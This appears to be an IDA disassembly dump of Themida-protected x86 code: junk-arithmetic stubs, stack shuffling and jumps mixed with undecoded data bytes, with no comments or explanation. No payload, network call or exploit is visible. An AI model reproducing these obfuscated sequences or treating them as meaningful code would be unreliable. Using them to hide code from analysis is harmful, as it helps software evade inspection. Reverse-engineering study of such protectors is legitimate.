dd 0EA894826h, 8BD5015Dh, 89502414h, 405E0h, 32E90000h dd 880000B8h, 877488CEh, 24148B01h, 0E904C483h, 0FFFFB1B5h dd 5A88ED81h, 0E95652DBh, 0C4BBh, 8704EF83h, 0A7E9243Ch dd 8100005Fh, 0AC5F5BEBh, 4A2BE90Ch, 8B660000h, 4468240Ch dd 89000014h, 0E0892404h, 8904EC83h, 0D3BA2414h, 0E96F531Dh dd 25C6h, 87FF0BDh, 5DE92913h, 4FCDC181h, 2C8B07ADh, 0F602E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55879E: ; CODE XREF: Themida_:00565412j mov ebp, [esp] add esp, 4 mov ebp, ebx pop ebx neg ebp not ebp jmp loc_55C7AE ; --------------------------------------------------------------------------- dd 0BCC3815Eh, 0E97F0808h, 0EB35h, 8704C383h, 248B241Ch dd 55BA5224h, 81731D52h, 9F19E1EAh, 65EA8170h, 31EED2ECh dd 31D031C2h, 8690E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587E2: ; CODE XREF: Themida_:0055CD48j sub esp, 4 jmp loc_554602 ; --------------------------------------------------------------------------- loc_5587ED: ; CODE XREF: Themida_:00567AE3j mov edi, [esp] jmp loc_561B1A ; --------------------------------------------------------------------------- align 2 dw 4D0h dd 5AA72C0Eh, 5253C330h, 0FA560C68h, 0F0E6E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55880A: ; CODE XREF: Themida_:00560667j xor edi, 483A29B8h sub edi, 4BA7303Dh sub eax, edi mov edi, [esp] add esp, 4 sub eax, edi add eax, 0A1E0CC9h add eax, 45B29B3h pop edi jmp loc_55D6F4 ; --------------------------------------------------------------------------- db 87h dd 0E95C242Ch, 0FFFFB41Fh, 9667E959h, 0FF570000h, 5F042474h dd 0B3FBE9h, 68E95A00h, 8B0000B0h, 50E9242Ch, 83000007h dd 19E904C4h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558863: ; CODE XREF: Themida_:00560AEDj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], eax push 16Ch mov [esp], ebx jmp loc_55F1E4 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4EEh, 24348700h, 0DFCFE9h, 4B95100h, 29000000h dd 2C8759CDh, 8F545C24h, 0E9512404h, 0D3D9h, 8B2434FFh dd 0C4812414h, 4, 0CB8FE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5588BE: ; CODE XREF: Themida_:0055DB45j mov ah, 44h neg ah shr ah, 3 shl ah, 3 add ah, 6Fh jmp loc_561939 ; --------------------------------------------------------------------------- loc_5588D0: ; CODE XREF: Themida_:00563B45j mov [esp], ebx mov ebx, 0E157A6ECh xor ecx, ebx pop ebx add edx, ecx jmp loc_553E14 ; --------------------------------------------------------------------------- dw 34FFh aYht0 db '$Yht0',0 dw 8900h dd 6A68240Ch, 0E9000044h, 0F6C7h, 3AAE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5588FE: ; CODE XREF: Themida_:0055BFD4j mov ebx, 1935512Ch add ebx, 49531D34h sub edx, ebx pop ebx jmp loc_56081B ; --------------------------------------------------------------------------- loc_558911: ; CODE XREF: Themida_:005653CEj pop esp shr eax, 10h xor eax, ecx jmp loc_562167 ; --------------------------------------------------------------------------- dd 2474FF52h, 24148B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 0E924048Fh, 1465h ; --------------------------------------------------------------------------- loc_55893C: ; CODE XREF: Themida_:0055629Cj pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push eax push 2E2A43B4h jmp loc_55AD6F ; --------------------------------------------------------------------------- db 83h dd 0FF5204C2h, 5A042474h, 0E924048Fh, 7E82h ; --------------------------------------------------------------------------- loc_558968: ; CODE XREF: Themida_:00559CC0j pop ebx inc ebp shr ebp, 5 push ecx mov ecx, 12860419h jmp loc_56696B ; --------------------------------------------------------------------------- dd 592434FFh, 0E904C483h, 821Bh, 0E92434FFh, 7A31h, 24048F5Ch dd 0FF24248Bh, 34FF2434h, 24048B24h, 225BE9h, 243CD200h dd 0A6FBE99Ch, 0F74DFFFFh, 436851D5h, 59E15510h, 2D59CD31h dd 58FE2FA7h, 5156E801h, 9025DAB9h, 7DF18162h, 0E93A6E0Ah dd 0FFFFBD04h, 0C536DEBBh, 0E9DBF74Dh, 4EDDh, 8BF3295Bh dd 0C4832434h, 5BDD0904h, 0B67F581h, 0EF899C54h, 997E9h dd 7E0C100h, 6803E8C1h, 538Eh, 2153E9h, 4C48300h, 6FE868h dd 240C8900h, 52DCE9h db 0 ; --------------------------------------------------------------------------- loc_558A15: ; CODE XREF: Themida_:005627FCj mov ebp, ecx pop ecx mov edx, ebp mov ebp, [esp] add esp, 4 jmp loc_55CA71 ; --------------------------------------------------------------------------- dd 4C481h, 7E90000h, 0C10000CFh, 0EEC108EEh, 5FC5E904h dd 0E8C10000h, 10B95104h, 31F53573h, 0C38959C8h, 5BD82958h dd 3764E9h, 0D5EE8000h, 85AF728h, 0C50AE9F9h, 0C181FFFFh dd 4, 4E981h, 0BE90000h, 5300006Ah, 0E052E9h db 0 ; --------------------------------------------------------------------------- loc_558A79: ; CODE XREF: Themida_:00555F93j add eax, 4 jmp loc_5621F7 ; --------------------------------------------------------------------------- db 81h dd 42404h, 0D2E90000h, 0F60000A2h, 0C2C680DEh, 80FFEE80h dd 0F30081F6h, 16F5E9h, 240C8900h, 6BCB6850h, 2C890000h dd 7777BD24h, 46E93F5Ch, 81FFFFB2h, 5A3F71C2h, 0C2815B7Eh dd 2, 2F34E9h, 59CD2900h, 704FCD81h, 0C581665Eh, 0AE2465Fh dd 23C3E9h, 36F48000h, 80B3EC80h, 2DE905C3h, 51000022h dd 240C8B54h, 5604C483h, 0D73B7EBEh, 4EDEF716h, 0D1CF681h dd 0F6812C1Dh, 0C535C999h, 348BF101h, 4C48324h, 4E981h dd 0C870000h, 24248B24h, 51241489h, 0B17BB753h, 5BF93057h dd 0C01BC180h, 0C9FE07E9h, 0FFFA8EE9h, 53C381FFh, 81174409h dd 0A4934E3h, 0C342E915h, 1C8BFFFFh, 4C48124h, 0C1000000h dd 534B05E3h, 0FF241CF7h, 815B2434h, 4C4h, 0BCF38100h dd 0E977B7F1h, 0B715h ; --------------------------------------------------------------------------- loc_558B6C: ; CODE XREF: Themida_:00565797j mov esi, 7D980CADh jmp loc_55762C ; --------------------------------------------------------------------------- dw 2D66h dd 34FF7A4Bh, 0C923E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B82: ; CODE XREF: Themida_:00568124j add ebx, 4FF671F8h shr ebx, 1 xor ebx, 757D1D9Ch add ebp, ebx mov ebx, [esp] add esp, 4 sub ecx, ebp mov ebp, [esp] jmp loc_559F5E ; --------------------------------------------------------------------------- loc_558BA2: ; CODE XREF: Themida_:0055D676j xor ebp, [esp] jmp loc_55782C ; --------------------------------------------------------------------------- dw 248Bh dd 0E9E9F724h, 1EFCh, 1B354B68h, 0B0E95F39h, 81FFFFD6h dd 4C3h, 5C2B6800h, 3C890000h, 1C20BF24h, 0EFD16CC3h, 0BA52D7F7h dd 0AED49BEh, 5809CA81h, 0E2814518h, 0FE40275h, 0E905E2C1h dd 2F1Ch, 3EE9E789h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558BF7: ; CODE XREF: Themida_:0056691Bj shl edx, 3 push edi jmp loc_553E35 ; --------------------------------------------------------------------------- loc_558C00: ; CODE XREF: Themida_:00565309j push ebp push edx mov edx, 656E18A7h mov ebp, edx pop edx mov edi, 2DBF1335h inc edi jmp loc_55FBA0 ; --------------------------------------------------------------------------- loc_558C15: ; CODE XREF: Themida_:0055B471j add esi, 4 xchg esi, [esp] jmp loc_5543ED ; --------------------------------------------------------------------------- loc_558C23: ; CODE XREF: Themida_:00561B15j jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_558C28: ; CODE XREF: Themida_:0055D14Fj pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5531E3 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 633168h, 243C8900h, 0D95EE954h, 0E7C10000h dd 0EF874704h, 0EF87D5F7h, 35C9E9h db 0 ; --------------------------------------------------------------------------- loc_558C5D: ; CODE XREF: Themida_:00562707j sub edi, ebp push ecx jmp loc_55F95E ; --------------------------------------------------------------------------- loc_558C65: ; CODE XREF: Themida_:00555E06j mov eax, [esp] push 69D2h jmp loc_5590DB ; --------------------------------------------------------------------------- dd offset dword_4F7044+524h dw 8900h dd 25BB241Ch, 0F72B4C55h, 0CECB81D3h, 0C164CC6Dh, 434B07EBh dd 158FBE56h, 0E8E91DEAh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558C97: ; CODE XREF: Themida_:0055B7D3j neg eax and eax, 1C2C7066h xor eax, 2F497713h jmp loc_55A989 ; --------------------------------------------------------------------------- dd 1AE3B850h, 0D0F70F6Eh, 59647525h, 0E9D8F73Ch, 6391h dd 0E904C483h, 0FFFFB91Ch, 112CF9BEh, 0FE9462Ch, 3100006Eh dd 2C33242Ch, 0FA6DE924h, 3BB90000h, 18F6AB8h, 0A76BE9E9h dd 2C59FFFFh, 545FE94Dh, 0C4810000h, 2, 34FFF830h, 0D5E95B24h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558CFF: ; CODE XREF: Themida_:0055DFDAj push eax push 7D3C6914h pop eax sub esp, 4 mov [esp], ecx push ebp jmp loc_5547DA ; --------------------------------------------------------------------------- db 66h, 81h, 0C3h dd 81660864h, 664054F3h, 8AB86650h, 0C309664Fh, 81665866h dd 660715E3h, 0A94EEB81h, 5BDF3166h, 0FFCF3166h, 81592434h dd 4C4h, 0DFF76600h, 2E7C166h, 0B5F78166h, 0CF816623h dd 53663EA8h, 4A6BE9h, 6F216800h, 14890000h, 0A7B35324h dd 8006E3C0h, 0CB80FFC3h, 0D74BE9F4h, 0C4810000h, 4, 6049C381h dd 0EB817673h, 182D71ADh, 0C381EB01h, 182D71ADh, 6049EB81h dd 0D8E97673h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558D9B: ; CODE XREF: Themida_:005600E3j mov edx, esp add edx, 4 add edx, 4 jmp loc_555BE7 ; --------------------------------------------------------------------------- dw 0EF81h dd 0AE0F2364h, 19BEEB81h, 0FB01082Ch, 19BEC381h, 875F082Ch dd 248B241Ch, 24048F24h, 0F46EE9h db 0 ; --------------------------------------------------------------------------- loc_558DD1: ; CODE XREF: Themida_:00561FBCj mov ebx, [esp] jmp loc_55E620 ; --------------------------------------------------------------------------- db 1, 0CAh, 81h dd 820FE3C2h, 2434FF73h, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_568971 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 4C281h, 14330000h, 24143124h, 5C241433h dd 0FFA28CE9h db 0FFh ; --------------------------------------------------------------------------- loc_558E19: ; CODE XREF: Themida_:00567B28j mov edx, 74F34817h shl edx, 6 jmp loc_55FE9D ; --------------------------------------------------------------------------- dw 8B66h dd 0D5682404h, 89000011h, 5F54243Ch, 4B951h, 0CF010000h dd 592434FFh, 5E08950h, 4, 405h, 24048700h, 4DF1E9h db 0 ; --------------------------------------------------------------------------- loc_558E55: ; CODE XREF: Themida_:0055665Dj add eax, 13503007h jmp loc_556EBA ; --------------------------------------------------------------------------- loc_558E5F: ; CODE XREF: Themida_:0056342Ej add ebx, eax add ebx, 750375C4h push edi mov edi, 247F3FF2h xor edi, 47ED4D32h not edi xor edi, 0EE79EE84h add ebx, edi pop edi add ebx, 71521230h push 3F76h mov [esp], edi mov edi, 1358574Fh sub ebx, 6359355Ch jmp loc_559ABD ; --------------------------------------------------------------------------- loc_558E9C: ; CODE XREF: Themida_:0055EA11j sub ebx, 4 jmp loc_564E31 ; --------------------------------------------------------------------------- db 81h dd 0B7708DEFh, 4FEF812Fh, 1FC576Fh, 0F3015FFBh, 0FFF8A2E9h dd 0D88850FFh, 9877E9h db 0 ; --------------------------------------------------------------------------- loc_558EC5: ; CODE XREF: Themida_:0055A8D9j mov [esp], bx jmp loc_55DABB ; --------------------------------------------------------------------------- dw 0C781h dd 62B838EFh, 0F7EAE95Eh, 0C4830000h, 0B4D0E904h, 0C6810000h dd 0C4CCC955h, 0E611E9h, 14895C00h, 4EC8324h, 68240489h dd 54C415A2h, 2AF13558h, 0D8F74716h, 62FCE9h db 0 ; --------------------------------------------------------------------------- loc_558F09: ; CODE XREF: Themida_:0055B000j sub edi, ecx pop ecx sub ebx, edi pop edi add ebx, edi push esi jmp loc_556644 ; --------------------------------------------------------------------------- db 68h dd 72FCh, 0DEA3E9h, 4BB00h, 3CE90000h, 8000004Bh, 0FA3087C7h dd 6EAC05Bh, 652868h, 0DB07E900h, 0DA280000h, 4C04E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F46: ; CODE XREF: Themida_:00566C25j add edx, ecx jmp loc_554ABE ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6658669Dh, 9C240411h, 0FFA148E9h, 242C8BFFh, 81E68956h dd 4C6h, 1F90E900h, 815A0000h, 575DAEF6h, 8BF3315Eh, 0A9E92434h dd 5FFFFFAh, 4, 405h, 24048700h, 4EBD555Ch, 811C3706h dd 8453ACDh, 0D1DDF768h, 79E951E5h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558FA3: ; CODE XREF: Themida_:00563E71j mov [esp], ecx jmp loc_5530A5 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704C783h, 8F5C243Ch, 0EC832047h, 0EE51E904h dd 0C2FEFFFFh, 0E9DBF280h, 4643h ; --------------------------------------------------------------------------- loc_558FD0: ; CODE XREF: Themida_:00559AC5j push dword ptr [esp] pop edi add esp, 4 mov [ebx], dl mov ebx, [esp] push edi jmp loc_55A6B6 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4ECh, 0E46DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558FF2: ; CODE XREF: Themida_:0055F89Fj add edi, 550C3B1h jmp loc_555580 ; --------------------------------------------------------------------------- db 68h, 15h, 3Ah dd 1C890000h, 4155BB24h, 0DF095593h, 4ECF815Bh, 0F74D1D00h dd 0EFC147D7h, 0ECE95602h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55901F: ; CODE XREF: Themida_:0055D9DFj xor ebx, [esp] pop esp push 3E14h jmp loc_5624A9 ; --------------------------------------------------------------------------- db 89h, 0E0h, 53h dd 4C4EBA52h, 0F742323Ah, 81D2F7D2h, 2F0654F2h, 0E9C2811Bh dd 89D6EAB5h, 0E2E95AD3h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55904F: ; CODE XREF: Themida_:005605F0j sub ecx, ebp add ecx, 16BD4010h pop ebp add ebp, ecx jmp loc_5539CF ; --------------------------------------------------------------------------- aRAucacbCSO db 'R¶Ì€îc€æBÀæ',7,'éÃŽ',0 align 10h aSsrv db 'Séà¢',0 align 2 loc_559076: ; CODE XREF: Themida_:0055F537j pop esi push 3DA3h mov [esp], edi mov edi, 0FFFFFFFFh jmp loc_55AD0A ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 2474FF57h, 48F5F04h, 0BDE95C24h, 5C000032h, 5E7768h dd 24048900h, 0FF9FFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5590A9: ; CODE XREF: Themida_:0056777Ej mov ecx, 7C743369h not ecx not ecx and ecx, 0E692D1Fh push eax mov eax, 3C145A66h sub eax, 1 jmp loc_55BA7A ; --------------------------------------------------------------------------- aSu db '[éã)',0 align 2 dw 0D5F7h dd 2514C581h, 97E907B3h db 0C5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5590DB: ; CODE XREF: Themida_:00558C6Dj mov [esp], edx push esp jmp loc_560B8E ; --------------------------------------------------------------------------- dd 0E99CC885h, 0FFFF9FB9h, 0E924048Fh, 3E4Fh, 0BE243489h dd 6E231EBFh, 4247429h, 8324348Bh, 2C8104C4h, 75A7324h dd 0D4A2E95Bh, 34FF0000h, 240C8B24h, 5704C483h, 51565F54h dd 0B31660B9h, 0E2BD5574h, 0E93C4736h, 44C4h ; --------------------------------------------------------------------------- loc_559130: ; CODE XREF: Themida_:00567865j add ebp, esi sub ebp, 1D483E98h add ebp, 22715DC6h jmp loc_5625BF ; --------------------------------------------------------------------------- aTzhV db 'TZh',8,'v',0 align 2 aISz_ db '‰<$é§.',0 align 2 dw 0C381h dd 4, 4C381h, 1C870000h, 0C8B5C24h, 4C48324h, 4C1768h dd 24048900h, 0DE3792B8h, 2E1A0506h, 0D0F7470Dh, 0F6059405h dd 0F7D0F752h, 7AE12DD8h, 4789C583h, 24048B24h, 8304C483h dd 5FE904ECh, 660000E7h, 40B2525Bh, 0EAE9C2FEh db 0E2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5591A7: ; CODE XREF: Themida_:00563EC1j push edi mov edi, 3E5014C3h jmp loc_566BED ; --------------------------------------------------------------------------- dw 0D329h dd 33F4E9h, 4DE94F00h, 1FFFFA5h, 0DF015DEFh, 733AEF81h dd 835B6B65h, 3C8704C7h, 9844E924h, 0EC810000h, 4, 0BD242C89h dd 72560B1Dh, 79BCCD81h, 0ED815522h, 25513109h, 0E902EDC1h dd 0FFFFFED6h, 4EC81h, 93E90000h, 89FFFFE3h, 4B82404h dd 1000000h, 24048BC1h, 4C481h, 0C1830000h, 240C8704h dd 3124248Bh, 0E99C2404h, 0FFFF9E7Dh, 5613C581h, 0EDC168EFh dd 4DDDF702h, 0C581D5F7h, 589F455Bh, 535DE909h, 0E7392BBBh dd 0BE565257h, 421D45F2h, 60E9F289h, 89FFFFEFh, 4C281E2h dd 50000000h, 4B8h, 23C9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559266: ; CODE XREF: Themida_:00555A1Bj mov ebp, 3347533Fh jmp loc_555A74 ; --------------------------------------------------------------------------- dd 4240481h, 5F000000h, 85DCE9h, 40500h, 4050000h, 87000000h dd 248B2404h, 4EC8124h, 89000000h, 73E9241Ch db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55929B: ; CODE XREF: Themida_:00563848j mov eax, 4A52727Fh add ecx, eax pop eax push esi mov esi, 342D5F71h add esi, 2688301Dh push eax mov eax, 7194649Ah add eax, 610773Eh shr eax, 8 shl eax, 6 neg eax shl eax, 8 sub eax, 14F34A6Eh xor esi, eax jmp loc_563B36 ; --------------------------------------------------------------------------- loc_5592D1: ; CODE XREF: Themida_:0055F743j mov esp, [esp] add eax, 9336D6Dh push esi push 3199h mov [esp], ebx push esi push 7DF01603h mov esi, [esp] add esp, 4 push edi mov edi, 0A502BFFh jmp loc_55D30B ; --------------------------------------------------------------------------- db 58h, 83h, 0C2h dd 24148704h, 3324248Bh, 0E4E9240Ch, 570000D9h, 0C781E789h dd 4, 4C781h, 3C870000h, 0C3815C24h, 585F6290h, 18FBC381h dd 0F4E92953h, 8B0000A6h, 6EE92424h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559337: ; CODE XREF: Themida_:0055CEA1j jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 8904EC83h, 83E92434h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559347: ; CODE XREF: Themida_:0055A172j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebp push 1844h jmp loc_55459D ; --------------------------------------------------------------------------- dd 5784C681h, 0C38153A7h, 6D053130h, 0EB81F301h, 6D053130h dd 8324348Bh, 0E3C104C4h, 0AEBF5705h, 0E90E5986h, 7B82h dd 0EC83475Dh, 241C8904h, 1E0BC5BBh, 38EB8170h, 293AF296h dd 72E95BDFh, 29000064h, 19885FF9h, 0C320E959h, 0E4BB0000h dd 8107753Bh, 231EB0EBh, 0AFE1E963h, 0DA28FFFFh, 0EECEE9h dd 7E1ABA00h, 0D5891670h, 0D74BE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593D6: ; CODE XREF: Themida_:00560348j mov [esp], edx mov edx, 47F700Fh jmp loc_5578DD ; --------------------------------------------------------------------------- loc_5593E3: ; CODE XREF: Themida_:0056701Dj add edx, 4 xchg edx, [esp] mov esp, [esp] add ebx, 401E49B9h sub ebx, 3DED57D5h jmp loc_567C82 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4668F1F7h, 89000009h, 9C502414h, 0FF9C94E9h db 0FFh ; --------------------------------------------------------------------------- loc_559411: ; CODE XREF: Themida_:0055740Ej push eax mov eax, 4 sub edi, eax jmp loc_567316 ; --------------------------------------------------------------------------- dw 0F729h dd 0E9CF015Eh, 53AAh, 0A14CF5BEh, 5EF3013Ah, 61BBEB81h dd 0FB012A6Dh, 65FAE9h, 8CE95700h, 0BF0000F2h, 41515D4Fh dd 0DAF78147h, 472CA251h, 0A96EEF81h, 0E3E952B3h, 59000036h dd 1C57215Dh, 0FFBE3DE9h, 0DFF74FFFh, 6DAE9h db 0 ; --------------------------------------------------------------------------- loc_55946D: ; CODE XREF: Themida_:00557AB8j push 76B8h jmp loc_5547CC ; --------------------------------------------------------------------------- db 0F7h dd 240C87D1h, 1C2815Ah, 51000000h, 68A3E9h db 0 ; --------------------------------------------------------------------------- loc_559489: ; CODE XREF: Themida_:00557DAFj xor edx, 7B7411B7h mov ebp, edx pop edx add eax, 25E046E4h sub eax, ebp sub eax, 25E046E4h push dword ptr [esp] jmp loc_55B862 ; --------------------------------------------------------------------------- dw 8757h dd 0D2F72414h, 328DE9h, 0E9E88800h, 0CD52h, 74529725h dd 58E53513h, 0C529B906h, 5DEB2958h, 535DE9h, 1D11BA00h dd 0F2813ABEh, 6B0528D8h, 5FBBF281h, 0D3E92CF4h, 0B900000Bh dd 64A972D2h, 4FC368h, 240C8900h, 59241CF7h, 656068h, 242C8900h dd 0A63F7FBDh, 5DE93102h, 43FC68h, 242C8900h, 9B28ABBDh dd 51D5F759h, 827FE9h, 37266800h, 2C890000h, 4BD9E924h dd 59660000h, 0D8001304h, 2B2C132Ch, 79FB6851h, 14890000h dd 50BA6824h, 0C890000h, 88B8B524h, 0A779E9EAh, 0DA89FFFFh dd 83241C8Bh, 0E98104C4h, 68CE5D9Eh, 0C181D101h, 68CE5D9Eh dd 0FFD9CAE9h, 2BDFFh, 0E9550000h, 88B0h ; --------------------------------------------------------------------------- loc_559570: ; CODE XREF: Themida_:0055DA41j add [esp+0Ch], esi mov esi, [esp] jmp loc_55E5A5 ; --------------------------------------------------------------------------- loc_55957C: ; CODE XREF: Themida_:0055BCEEj sub eax, ebx pop ebx push 39A5h mov [esp], esi push ecx mov ecx, 0D0A3B655h mov esi, ecx jmp loc_568BCB ; --------------------------------------------------------------------------- aI4SS db '‰4$éÒ™',0 align 4 loc_55959C: ; CODE XREF: Themida_:0055FE40j push edx push 26C8h mov [esp], ebx push 70CB5BFCh pop ebx not ebx add ebx, 0C838BADEh jmp loc_555DDB ; --------------------------------------------------------------------------- dd 24048153h, 734C2D2Bh, 8324048Bh, 2B2D04C4h, 5B734C2Dh dd 2BEA815Fh, 175163Eh, 2BC281C2h, 0E975163Eh, 652Fh ; --------------------------------------------------------------------------- loc_5595E0: ; CODE XREF: Themida_:00559CB9j shr eax, 7 dec eax sub eax, 3CCD3304h push 0 sub [esp], eax mov eax, [esp] jmp loc_562496 ; --------------------------------------------------------------------------- db 0BBh, 0F0h, 3Bh dd 0DE313DE2h, 0E9DEF75Bh, 0FFFFCE8Ah, 0C104C483h, 0E95206EEh dd 0AA0Dh, 0E2BD555Dh, 2933B26Bh, 0C5D4E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559622: ; CODE XREF: Themida_:005537C7j xor eax, ecx push 37C1h mov [esp], eax jmp loc_55F8B1 ; --------------------------------------------------------------------------- loc_559631: ; CODE XREF: Themida_:0056648Dj add esi, 4 jmp loc_566EA7 ; --------------------------------------------------------------------------- dd 5C241C87h, 8B24048Fh, 0FCE92424h, 57000070h, 2117E9h dd 81EA0100h, 81121AEAh, 14875D77h, 48F5C24h, 24248B24h dd 0EFF7E9h, 0B753AC00h, 0D0CF80E7h, 7C36E9h, 0D831AD00h dd 4EC81h, 0C890000h, 0FE5DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559686: ; CODE XREF: Themida_:00557FADj push ebp mov ebp, 0FE253A7h shl ebp, 3 neg ebp push ebx mov ebx, 7DE43380h sub ebx, 1 neg ebx add ebx, 0FFFFFFFFh xor ebx, edi xor edi, ebx xor ebx, edi not edi xchg edi, ebx jmp loc_55C192 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0C181E189h, 4, 3304C183h, 0C31240Ch, 240C3324h, 0FC3305Ch dd 8B66C0B6h, 0B9682414h, 8900003Ch, 5954240Ch, 0AFC6E953h dd 295AFFFFh, 0BA525FF8h, 35F942A8h, 6C2BE281h, 11E90717h dd 0BF000059h, 2D84B32h, 6C4668h, 24348900h, 6187E9h db 0 ; --------------------------------------------------------------------------- loc_559709: ; CODE XREF: Themida_:00560E6Dj mov [esp], ebx push dword ptr [esp+4] jmp loc_55826B ; --------------------------------------------------------------------------- loc_559715: ; CODE XREF: Themida_:0055796Aj xor ecx, [esp] jmp loc_555B23 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh, 0B8240489h dd 4, 48BC101h, 4C48324h, 257668h, 24048900h, 9A02BCB8h dd 1EE9557Fh, 81000097h, 0C5042444h, 0E9341F71h, 0FFFFD685h dd 1F2ECE81h, 0D6F71ECCh, 3469C681h, 0E6E96751h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559773: ; CODE XREF: Themida_:00560727j pop ebp jmp loc_559E18 ; --------------------------------------------------------------------------- db 89h, 0EBh, 0E9h dd 0FFFFE5D4h, 0E181D1F7h, 5148246Bh, 2AE1E9h db 0 ; --------------------------------------------------------------------------- loc_55978D: ; CODE XREF: Themida_:0055E5B6j push 4 mov ecx, [esp] add esp, 4 add edi, ecx pop ecx xchg edi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop edx jmp loc_555043 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 7DE95204h, 0B20000AAh, 0E9D0283Bh, 5630h dd 0C3FEE81h, 0C6812E80h, 0EBD435Dh, 0E92434FFh, 0FFFFE7DAh ; --------------------------------------------------------------------------- loc_5597D8: ; CODE XREF: Themida_:0055F8E5j or ecx, 193573EAh shl ecx, 8 sub ecx, 3E3D4F60h jmp loc_56182B ; --------------------------------------------------------------------------- loc_5597EC: ; CODE XREF: Themida_:0055677Bj add esp, 4 sub edx, eax push eax push 5A326D6Ah push dword ptr [esp] jmp loc_563F7E ; --------------------------------------------------------------------------- loc_559802: ; CODE XREF: Themida_:00553AA9j mov ebp, esp push 24A7h jmp loc_557413 ; --------------------------------------------------------------------------- dw 8F5Bh dd 248B2404h, 7613E924h, 48B0000h, 91EAE924h, 0F8310000h dd 772BE9h, 0FDEB8100h, 29257B1Bh, 9AE9CBh, 0EE010000h dd 18A8EE81h, 0BF577F26h, 66BF00D6h, 0EBE9FE01h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55984B: ; CODE XREF: Themida_:00557A2Fj xor ebx, 0C646A75h jmp loc_566BA1 ; --------------------------------------------------------------------------- dw 0BF57h dd 4, 2CE9FA01h db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559863: ; CODE XREF: Themida_:0055647Bj and eax, edx pop edx xor eax, 87Ah and ecx, eax jmp loc_56100E ; --------------------------------------------------------------------------- loc_559872: ; CODE XREF: Themida_:00557C17j push eax mov eax, 4 add ebp, eax jmp loc_554D8E ; --------------------------------------------------------------------------- db 0B8h dd 4, 34FFC101h, 54525824h, 90BD555Ah, 8169E851h, 0E6613EDh dd 0D5F74D76h, 0EB81C581h, 0EA01F3D9h, 4C2815Dh, 87000000h dd 815C2414h, 4ECh, 243C8900h, 0C781E789h, 4, 0FFEE8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5598C5: ; CODE XREF: Themida_:005652CAj push 67B11092h pop edx jmp loc_557CF5 ; --------------------------------------------------------------------------- dd 1BFDC381h, 4B59257Bh, 0FFCD85E9h db 0FFh ; --------------------------------------------------------------------------- loc_5598DD: ; CODE XREF: Themida_:00556EE6j mov ecx, 1E360A34h jmp loc_55595C ; --------------------------------------------------------------------------- db 59h dd 4245431h, 6824148Bh, 215Ah, 0E9240489h, 1426h ; --------------------------------------------------------------------------- loc_5598FC: ; CODE XREF: Themida_:005683ABj xor esi, 6EB0501h sub ebx, esi mov esi, [esp] add esp, 4 sub ebx, esi add ebx, 7D443C4h pop esi add ebx, 760F5254h sub ebx, eax jmp loc_55E265 ; --------------------------------------------------------------------------- db 1 dd 2434FFD3h, 0FFEF20E9h db 0FFh ; --------------------------------------------------------------------------- loc_55992D: ; CODE XREF: Themida_:00564643j mov [esp], edi sub esp, 4 mov [esp], eax push dword ptr [esp] jmp loc_55BD5D ; --------------------------------------------------------------------------- loc_55993E: ; CODE XREF: Themida_:00559BAAj mov esi, 71C562C1h and esi, 1DE01442h sub esi, 0FFFFFFFFh jmp loc_555A8C ; --------------------------------------------------------------------------- dd 5A3C2ABDh, 71BB532Dh, 29620810h, 0E908245Ch, 0FFFFBBBAh dd 7011EA81h, 40E9B06Dh, 10000A7h, 0CB7EE9F0h, 94680000h dd 0E926C13Fh, 